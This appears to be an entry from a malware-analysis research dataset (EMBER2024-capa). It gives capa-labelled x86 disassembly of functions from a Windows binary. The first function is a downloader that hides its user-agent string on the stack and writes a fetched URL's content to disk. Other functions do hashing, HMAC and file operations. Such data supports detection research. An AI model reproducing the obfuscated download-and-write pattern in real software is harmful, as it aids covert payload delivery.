joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bbf0
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x428
push ebx
push ebp
xor ebx, ebx
push edi
push ebx
push str.C:ProgramDataMicros
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x40bd63
mov al, 0x6c
push ebx
mov byte [esp + 0x14], al
mov byte [esp + 0x15], al
mov byte [esp + 0x25], al
push ebx
push ebx
lea eax, [esp + 0x18]
mov dl, 0x69
mov cl, 0x61
push ebx
push eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x44], ebx
mov byte [esp + 0x20], 0x4d
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x7a
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], 0x2f
mov byte [esp + 0x28], 0x34
mov byte [esp + 0x29], 0x2e
mov byte [esp + 0x2a], 0x30
mov byte [esp + 0x2b], 0x20
mov byte [esp + 0x2c], 0x28
mov byte [esp + 0x2d], 0x63
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x6d
mov byte [esp + 0x30], 0x70
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x62
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], 0x29
mov byte [esp + 0x38], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x2c], edi
je 0x40bd63
mov ecx, dword [esp + 0x438]
push ebx
push 0x80000000
push ebx
push ebx
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
cmp ebp, ebx
je 0x40bd63
mov edx, dword [esp + 0x43c]
push esi
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40bd4a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x38]
push eax
push 0x400
push ecx
push ebp
call ebx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x34]
push 0
push edx
lea ecx, [esp + 0x40]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x40bcfb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x30]
mov ebx, 1
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call esi
push edi
call esi
pop esi
pop edi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x428
ret
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x428
ret
Function at 0x404b48
Capabilities:
Hash data using sha256

Disassembly:
push esi
push edi
mov edi, eax
mov esi, ecx
call fcn.00404add
xor eax, eax
mov edx, dword [eax + 0x426470]
mov ecx, dword [esi + 0xf4]
mov dword [eax + ecx], edx
add eax, 4
cmp eax, 0x20
jl 0x404b55
mov eax, dword [esi + 0xf4]
xor dword [eax], 0x2080020
mov eax, dword [esi + 0xf4]
mov ecx, dword [esp + 0xc]
xor dword [eax + 8], ecx
mov esi, dword [esi + 0xf4]
or edi, 0x2000
shl edi, 0x10
xor dword [esi + 0xc], edi
pop edi
pop esi
ret 4
Function at 0x40570d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
jbe 0x40573a
test cl, 7
je 0x40573a
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x42c2a8]
dec esi
inc ecx
jmp 0x40571b
cmp esi, 8
jb 0x4057dd
mov edx, esi
shr edx, 3
mov dword [ebp + 8], edx
push ebx
mov edx, dword [ecx + 4]
xor eax, dword [ecx]
mov ebx, edx
shr ebx, 0x10
movzx edi, bl
mov edi, dword [edi*4 + 0x42c6a8]
mov ebx, edx
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x42c2a8]
mov ebx, edx
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x42caa8]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x42d2a8]
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
xor edi, dword [ebx*4 + 0x42d6a8]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x42daa8]
movzx edx, dl
xor edi, dword [edx*4 + 0x42cea8]
movzx eax, al
xor edi, dword [eax*4 + 0x42dea8]
sub esi, 8
add ecx, 8
dec dword [ebp + 8]
mov eax, edi
jne 0x40574c
pop ebx
jmp 0x4057dd
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x42c2a8]
dec esi
inc ecx
test esi, esi
ja 0x4057c9
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x405b04
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push 0x40
pop ebx
cmp esi, ebx
jbe 0x405b4e
lea eax, [ebp - 0x1d0]
push eax
call fcn.004105cf
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1d0]
push eax
call fcn.004108d1
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.0041094a
lea eax, [ebp - 0x80]
push 0x20
mov dword [ebp + 8], eax
pop esi
xor ecx, ecx
push edi
test esi, esi
jbe 0x405b6e
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x36
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405b5d
cmp esi, ebx
jae 0x405b86
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x36
push eax
call fcn.00419ea0
add esp, 0xc
lea eax, [ebp - 0xf0]
push eax
call fcn.004105cf
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.004108d1
push dword [ebp + 0x14]
lea eax, [ebp - 0xf0]
push dword [ebp + 0x10]
push eax
call fcn.004108d1
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.0041094a
lea eax, [ebp - 0x160]
push eax
call fcn.004105cf
xor ecx, ecx
test esi, esi
jbe 0x405bf0
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x5c
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405bdf
pop edi
cmp esi, ebx
jae 0x405c09
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x5c
push eax
call fcn.00419ea0
add esp, 0xc
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.004108d1
push 0x20
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.004108d1
push dword [ebp + 0x18]
lea eax, [ebp - 0x160]
push eax
call fcn.0041094a
pop esi
pop ebx
leave
ret 0x14
Function at 0x405c41
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x58]
sub esp, 0xbc
push esi
mov esi, dword [ebp + 0x6c]
push edi
push 0x40
pop eax
cmp esi, eax
jae 0x405c5a
mov eax, esi
push eax
push dword [ebp + 0x68]
lea eax, [ebp - 0x44]
push eax
call fcn.0041b910
add esp, 0xc
lea eax, [ebp + 0x20]
push eax
mov byte [ebp + esi - 0x44], 0
mov byte [ebp + esi - 0x43], 0
mov byte [ebp + esi - 0x42], 0
mov byte [ebp + esi - 0x41], 1
add esi, 4
push esi
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 0x64]
push dword [ebp + 0x60]
call fcn.00405b04
push 0x20
pop esi
push esi
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp]
push eax
call fcn.0041b910
mov eax, dword [ebp + 0x7c]
add esp, 0xc
dec eax
mov dword [ebp + 0x4c], eax
push 0x10
pop eax
mov dword [ebp + 0x50], eax
mov dword [ebp + 0x54], eax
mov eax, dword [ebp + 0x70]
mov dword [ebp + 0x40], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp + 0x44], eax
mov eax, dword [ebp + 0x78]
mov dword [ebp + 0x48], eax
xor edi, edi
mov eax, dword [ebp + edi + 0x4c]
test eax, eax
jbe 0x405d11
mov dword [ebp + 0x6c], eax
lea eax, [ebp - 0x64]
push eax
push esi
lea eax, [ebp + 0x20]
push eax
push dword [ebp + 0x64]
push dword [ebp + 0x60]
call fcn.00405b04
push esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp + 0x20]
push eax
call fcn.0041b910
add esp, 0xc
xor eax, eax
mov cl, byte [ebp + eax + 0x20]
xor byte [ebp + eax], cl
inc eax
cmp eax, esi
jb 0x405cff
dec dword [ebp + 0x6c]
jne 0x405cd8
push esi
lea eax, [ebp]
push eax
push dword [ebp + edi + 0x40]
call fcn.0041b910
add edi, 4
add esp, 0xc
cmp edi, 0xc
jb 0x405ccd
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.0040ced0
push esi
lea eax, [ebp]
push eax
call fcn.0040ced0
push esi
lea eax, [ebp + 0x20]
push eax
call fcn.0040ced0
push esi
lea eax, [ebp - 0x64]
push eax
call fcn.0040ced0
pop edi
pop esi
add ebp, 0x58
leave
ret 0x20
Function at 0x405d5c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push edi
mov edi, dword [ebp + 0x1c]
mov ebx, ecx
mov dword [ebp - 4], ebx
cmp edi, 0x18
ja 0x405f05
and dword [ebp + 0x1c], 0
push esi
lea esi, [ebx + 0x102]
cmp dword [esi + 0x12], edi
jne 0x405dac
push dword [ebp + 0xc]
mov ecx, ebx
call fcn.0040cf9f
test al, al
je 0x405dac
push 0x10
push dword [ebp + 0x14]
push esi
call fcn.0041a284
add esp, 0xc
test eax, eax
je 0x405f0b
inc dword [ebp + 0x1c]
add ebx, 0x178
cmp dword [ebp + 0x1c], 4
jb 0x405d7d
mov esi, 0x200
push esi
lea eax, [ebp - 0x264]
push eax
push dword [ebp + 0x10]
call fcn.0041158c
xor eax, eax
inc eax
mov ecx, edi
shl eax, cl
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x10
push dword [ebp + 0x14]
lea eax, [ebp - 0x264]
push eax
call fcn.0041a0e0
pop ecx
push eax
lea eax, [ebp - 0x264]
push eax
call fcn.00405c41
push esi
lea eax, [ebp - 0x264]
push eax
call fcn.0040ced0
mov edx, dword [ebp - 4]
mov esi, dword [ebp + 0xc]
lea eax, [edx + 0x5e0]
mov ecx, dword [eax]
mov ebx, ecx
and ebx, 3
imul ebx, ebx, 0x178
add ebx, edx
inc ecx
mov dword [eax], ecx
push 0x40
mov dword [ebx + 0x114], edi
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
push 0x10
push dword [ebp + 0x14]
lea eax, [ebx + 0x102]
push eax
movsw word es:[edi], word [esi]
call fcn.0041b910
push 0x20
pop esi
push esi
lea eax, [ebp - 0x24]
push eax
lea edi, [ebx + 0x118]
push edi
call fcn.0041b910
push esi
lea eax, [ebp - 0x44]
push eax
lea eax, [ebx + 0x138]
push eax
call fcn.0041b910
push esi
lea eax, [ebp - 0x64]
push eax
add ebx, 0x158
push ebx
call fcn.0041b910
add esp, 0x30
push 1
push esi
push edi
call fcn.0040ce2a
xor ebx, ebx
cmp dword [ebp + 0x20], ebx
je 0x405ea7
push esi
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 0x20]
call fcn.0041b910
add esp, 0xc
mov edi, dword [ebp + 0x24]
cmp edi, ebx
je 0x405ed8
push 8
push ebx
push edi
call fcn.00419ea0
add esp, 0xc
xor ecx, ecx
mov dl, byte [ebp + ecx - 0x44]
mov eax, ecx
and eax, 7
add eax, edi
xor byte [eax], dl
inc ecx
cmp ecx, esi
jb 0x405ebc
push esi
lea eax, [ebp - 0x44]
push eax
call fcn.0040ced0
cmp dword [ebp + 0x18], ebx
je 0x405efa
push dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
push 0x100
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
add ecx, 0x5e8
call fcn.0040cc7d
push esi
lea eax, [ebp - 0x24]
push eax
call fcn.0040ced0
pop esi
pop edi
pop ebx
leave
ret 0x20
push 0
push 0x20
pop esi
push esi
lea edi, [ebx + 0x118]
push edi
call fcn.0040ce2a
push esi
lea eax, [ebp - 0x24]
push edi
push eax
call fcn.0041b910
add esp, 0xc
push 1
push esi
push edi
call fcn.0040ce2a
push esi
lea eax, [ebx + 0x138]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.0041b910
push esi
add ebx, 0x158
lea eax, [ebp - 0x64]
push ebx
push eax
call fcn.0041b910
add esp, 0x18
jmp 0x405e90
Function at 0x405fd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
cmp dword [esi], 2
jne 0x40602a
lea eax, [ebp + 8]
push eax
push dword [esi + 4]
call fcn.00404b25
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp + 8]
push eax
push 0x20
push dword [ebp + 0xc]
call fcn.00405b04
xor edx, edx
mov dword [esi + 4], edx
xor eax, eax
push ebx
movzx ebx, byte [ebp + eax - 0x20]
mov ecx, eax
and ecx, 3
shl ecx, 3
shl ebx, cl
xor edx, ebx
inc eax
cmp eax, 0x20
jb 0x40600f
mov dword [esi + 4], edx
pop ebx
cmp dword [esi], 3
jne 0x406052
lea eax, [ebp - 0x20]
push eax
push 0x20
add esi, 4
push esi
push 0x20
push dword [ebp + 0xc]
call fcn.00405b04
push 0x20
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.0041b910
add esp, 0xc
pop esi
leave
ret 8

Function at 0x4063af
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0041a170
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x406425
push esi
push dword [ebp + 8]
call fcn.00419e2b
pop ecx
push dword [ebp + 8]
mov esi, eax
call fcn.0040a8ae
test al, al
jne 0x406402
lea eax, [ebp - 0x1000]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x1000]
push eax
call fcn.00419e2b
pop ecx
lea esi, [esi + eax + 1]
mov eax, 0x104
cmp esi, eax
pop esi
jbe 0x406425
push eax
push 0xc3
call fcn.0040c3ce
push eax
push 0x426538
call fcn.0040e228
add esp, 0xc
leave
ret 4
Function at 0x40856a
Capabilities:
Move file

Disassembly:
mov eax, 0x425c67
call fcn.00419b58
mov eax, 0x5028
call fcn.0041a170
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x800
push esi
lea eax, [ebp - 0x5034]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x408727
cmp eax, esi
jae 0x408727
push esi
lea eax, [ebp - 0x4034]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x408727
cmp eax, esi
jae 0x408727
lea eax, [ebp - 0x5034]
push eax
call fcn.0040a4be
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4034]
push eax
call fcn.0040a4be
mov edi, eax
cmp word [edi], 0
je 0x408727
push edi
push dword [ebp - 0x10]
call fcn.00411805
test eax, eax
je 0x408727
push edi
push ebx
call fcn.0040a4be
push eax
call fcn.00411805
test eax, eax
jne 0x408727
mov word [ebp - 0x1010], ax
xor edi, edi
cmp word [ebp - 0x1010], 0
jne 0x408683
push esi
push ebx
lea eax, [ebp - 0x1010]
push eax
call fcn.00410abd
push edi
push str.rtmp_d
push esi
lea eax, [ebp - 0x1010]
push eax
call fcn.0040a4be
push eax
call fcn.00408491
add esp, 0x10
lea eax, [ebp - 0x1010]
push eax
call fcn.00409422
test al, al
je 0x40866a
xor eax, eax
mov word [ebp - 0x1010], ax
add edi, 0x7b
cmp edi, 0x2710
jl 0x40861d
cmp word [ebp - 0x1010], 0
je 0x408727
push esi
push ebx
lea eax, [ebp - 0x3034]
push eax
call fcn.00410abd
push esi
push dword [ebp - 0x10]
lea eax, [ebp - 0x3034]
push eax
call fcn.0040a628
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x3034]
push eax
call esi
test eax, eax
je 0x408727
lea ecx, [ebp - 0x2034]
call fcn.00408922
push dword [ebp + 8]
and dword [ebp - 4], 0
xor bl, bl
call fcn.00409422
test al, al
jne 0x4086ea
push 9
push dword [ebp + 8]
lea ecx, [ebp - 0x2034]
call fcn.00408ac0
mov bl, al
lea eax, [ebp - 0x3034]
push eax
lea eax, [ebp - 0x1010]
push eax
call esi
test bl, bl
je 0x408714
lea ecx, [ebp - 0x2034]
call fcn.00408bba
lea ecx, [ebp - 0x2034]
call fcn.00408c08
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2034]
call fcn.00408df5
mov al, 1
jmp 0x408729
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x408c31
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, ecx
cmp dword [ebp + 0xc], ebx
je 0x408d20
cmp dword [esi + 0xc], 1
jne 0x408c55
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 4], eax
push edi
mov dword [ebp - 4], ebx
cmp dword [esi + 0xc], ebx
je 0x408ca0
xor edi, edi
cmp dword [ebp + 0xc], ebx
jbe 0x408cbf
mov ecx, dword [ebp + 0xc]
sub ecx, edi
mov eax, 0x4000
cmp ecx, eax
jae 0x408c75
mov eax, ecx
push ebx
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec eax
neg eax
sbb al, al
inc al
je 0x408cbf
add edi, 0x4000
cmp edi, dword [ebp + 0xc]
jb 0x408c65
jmp 0x408cbb
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec eax
neg eax
sbb al, al
inc al
cmp al, bl
jne 0x408d1b
cmp byte [esi + 0x14], bl
je 0x408d1b
cmp dword [esi + 0xc], ebx
jne 0x408d1b
push ebx
lea eax, [esi + 0x1e]
mov edi, 0x42e774
push eax
mov ecx, edi
call fcn.004064e7
test al, al
je 0x408d0f
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jae 0x408c56
cmp eax, ebx
jbe 0x408c56
mov edi, dword [esi]
push ebx
mov ecx, esi
call dword [edi + 0xc]
mov ecx, dword [ebp - 4]
xor ebx, ebx
sub eax, ecx
sbb edx, ebx
push edx
push eax
mov ecx, esi
call dword [edi + 8]
jmp 0x408c56
lea eax, [esi + 0x1e]
push eax
push ebx
mov ecx, edi
call fcn.0040664f
mov byte [esi + 8], 1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x408e18
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0xc], 1
push edi
mov edi, 0x4e20
jne 0x408e3f
cmp dword [ebp + 0xc], edi
jbe 0x408e34
mov dword [ebp + 0xc], edi
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 4], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x408ea8
mov ecx, esi
call fcn.00408dd2
test al, al
je 0x408e75
cmp dword [ebp + 0xc], edi
jbe 0x408e75
push edi
push dword [ebp + 8]
mov ecx, esi
call fcn.00408e18
jmp 0x408eab
cmp dword [esi + 0xc], 1
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
jne 0x408e8c
call ebx
cmp eax, 0x6d
jne 0x408e8c
xor eax, eax
jmp 0x408eab
cmp dword [esi + 0xc], 0
jne 0x408ea3
mov edi, 0x8000
cmp dword [ebp + 0xc], edi
jbe 0x408ea3
call ebx
cmp eax, 0x21
je 0x408e68
or eax, 0xffffffff
jmp 0x408eab
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4091be
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0041a170
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push edi
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x409202
push 0x800
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call fcn.0040a972
test al, al
je 0x409202
lea eax, [ebp - 0x1000]
push eax
call esi
mov edi, eax
mov eax, edi
pop edi
pop esi
leave
ret 4
Function at 0x40920a
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0041a170
push ebx
push esi
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp + 8]
call esi
test eax, eax
setne bl
test bl, bl
jne 0x409259
push 0x800
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call fcn.0040a972
test al, al
je 0x409259
push dword [ebp + 0xc]
lea eax, [ebp - 0x1000]
push eax
call esi
test eax, eax
setne bl
pop esi
mov al, bl
pop ebx
leave
ret 8

Function at 0x409446
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0041a170
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
mov edi, dword [ebp + 8]
push 0
push edi
call esi
test eax, eax
jne 0x409496
push edi
call fcn.00409422
test al, al
jne 0x4094a9
push 0x800
lea eax, [ebp - 0x1000]
push eax
push edi
call fcn.0040a972
test al, al
je 0x4094a9
push 0
lea eax, [ebp - 0x1000]
push eax
call esi
test eax, eax
je 0x4094a9
cmp byte [ebp + 0xc], 0
je 0x4094a5
push dword [ebp + 0x10]
push edi
call fcn.0040920a
xor eax, eax
jmp 0x4094c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4094be
cmp eax, 3
je 0x4094be
xor eax, eax
inc eax
jmp 0x4094c1
push 2
pop eax
pop edi
pop esi
leave
ret 0xc
Function at 0x4095df
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1250
call fcn.0041a170
cmp dword [ebp + 8], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
lea eax, [ebp - 0x250]
mov edi, 0x800
push eax
jne 0x40966e
push dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
call ebx
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
jne 0x40969b
push edi
lea eax, [ebp - 0x1250]
push eax
push dword [ebp + 0xc]
call fcn.0040a972
test al, al
je 0x409647
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x1250]
push eax
call ebx
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
jne 0x40969b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x409661
cmp eax, 3
je 0x409661
cmp eax, 0x12
je 0x409661
xor eax, eax
inc eax
jmp 0x409663
xor eax, eax
mov byte [esi + 0x1044], al
jmp 0x409766
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x409691
or dword [ebp + 8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
setne al
mov byte [esi + 0x1044], al
cmp dword [ebp + 8], 0xffffffff
je 0x409766
push edi
push dword [ebp + 0xc]
push esi
call fcn.00410abd
push edi
lea eax, [ebp - 0x224]
push eax
push esi
call fcn.0040a628
push 1
push 0
push 0
push dword [ebp - 0x234]
call fcn.0041a250
mov ecx, dword [ebp - 0x230]
xor edi, edi
add eax, ecx
mov dword [esi + 0x1000], eax
mov eax, dword [ebp - 0x250]
mov dword [esi + 0x1008], eax
mov eax, dword [ebp - 0x24c]
mov dword [esi + 0x1028], eax
mov eax, dword [ebp - 0x248]
mov dword [esi + 0x102c], eax
mov eax, dword [ebp - 0x244]
mov dword [esi + 0x1030], eax
mov eax, dword [ebp - 0x240]
mov dword [esi + 0x1034], eax
mov eax, dword [ebp - 0x23c]
mov dword [esi + 0x1038], eax
mov eax, dword [ebp - 0x238]
mov dword [esi + 0x103c], eax
lea eax, [ebp - 0x23c]
adc edx, edi
push eax
lea ecx, [esi + 0x1010]
mov dword [esi + 0x1004], edx
call fcn.004111f5
lea eax, [ebp - 0x24c]
push eax
lea ecx, [esi + 0x1018]
call fcn.004111f5
lea eax, [ebp - 0x244]
push eax
lea ecx, [esi + 0x1020]
call fcn.004111f5
and dword [esi + 0x1040], 0
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40a972
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0041a170
push esi
mov esi, dword [ebp + 8]
cmp word [esi], 0
jne 0x40a990
xor al, al
jmp 0x40ab1a
push ebx
push edi
push esi
call fcn.0040a407
push esi
call fcn.00419e2b
pop ecx
push esi
mov ebx, eax
call fcn.0040a8ae
test al, al
je 0x40aa3a
push esi
call fcn.0040a407
test al, al
je 0x40a9e7
add ebx, 4
cmp dword [ebp + 0x10], ebx
jbe 0x40ab16
mov edi, dword [ebp + 0xc]
push 4
push str.__
push edi
call fcn.0041c01f
push esi
add edi, 8
push edi
call fcn.00419e73
add esp, 0x14
jmp 0x40ab12
cmp word [esi], 0x5c
jne 0x40ab16
add esi, 2
cmp word [esi], 0x5c
jne 0x40ab16
add ebx, 6
cmp dword [ebp + 0x10], ebx
jbe 0x40ab16
mov edi, dword [ebp + 0xc]
push 4
push str.__
push edi
call fcn.0041c01f
lea eax, [edi + 8]
push 0x4266cc
push eax
call fcn.00419e73
push esi
add edi, 0xe
push edi
call fcn.00419e73
add esp, 0x1c
jmp 0x40ab12
lea eax, [ebp - 0x1000]
push eax
mov edi, 0x7ff
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x40ab16
cmp eax, edi
ja 0x40ab16
movzx eax, word [esi]
push eax
call fcn.0040a1c7
test al, al
je 0x40aaa7
add ebx, 6
cmp dword [ebp + 0x10], ebx
jbe 0x40ab16
mov edi, dword [ebp + 0xc]
push 4
push str.__
push edi
call fcn.0041c01f
push 2
lea eax, [ebp - 0x1000]
push eax
lea eax, [edi + 8]
push eax
call fcn.0041c01f
push esi
add edi, 0xc
push edi
call fcn.00419e73
add esp, 0x20
jmp 0x40ab12
push 0x800
lea eax, [ebp - 0x1000]
push eax
call fcn.0040a1ec
lea eax, [ebp - 0x1000]
push eax
call fcn.00419e2b
lea eax, [eax + ebx + 4]
pop ecx
cmp dword [ebp + 0x10], eax
jbe 0x40ab16
mov edi, dword [ebp + 0xc]
push 4
push str.__
push edi
call fcn.0041c01f
lea eax, [ebp - 0x1000]
push eax
lea eax, [edi + 8]
push eax
call fcn.00419e73
add esp, 0x14
cmp word [esi], 0x2e
jne 0x40ab08
movzx eax, word [esi + 2]
push eax
call fcn.0040a1c7
test al, al
je 0x40ab08
add esi, 4
push dword [ebp + 0x10]
push esi
push edi
call fcn.00410aea
mov al, 1
jmp 0x40ab18
xor al, al
pop edi
pop ebx
pop esi
leave
ret 0xc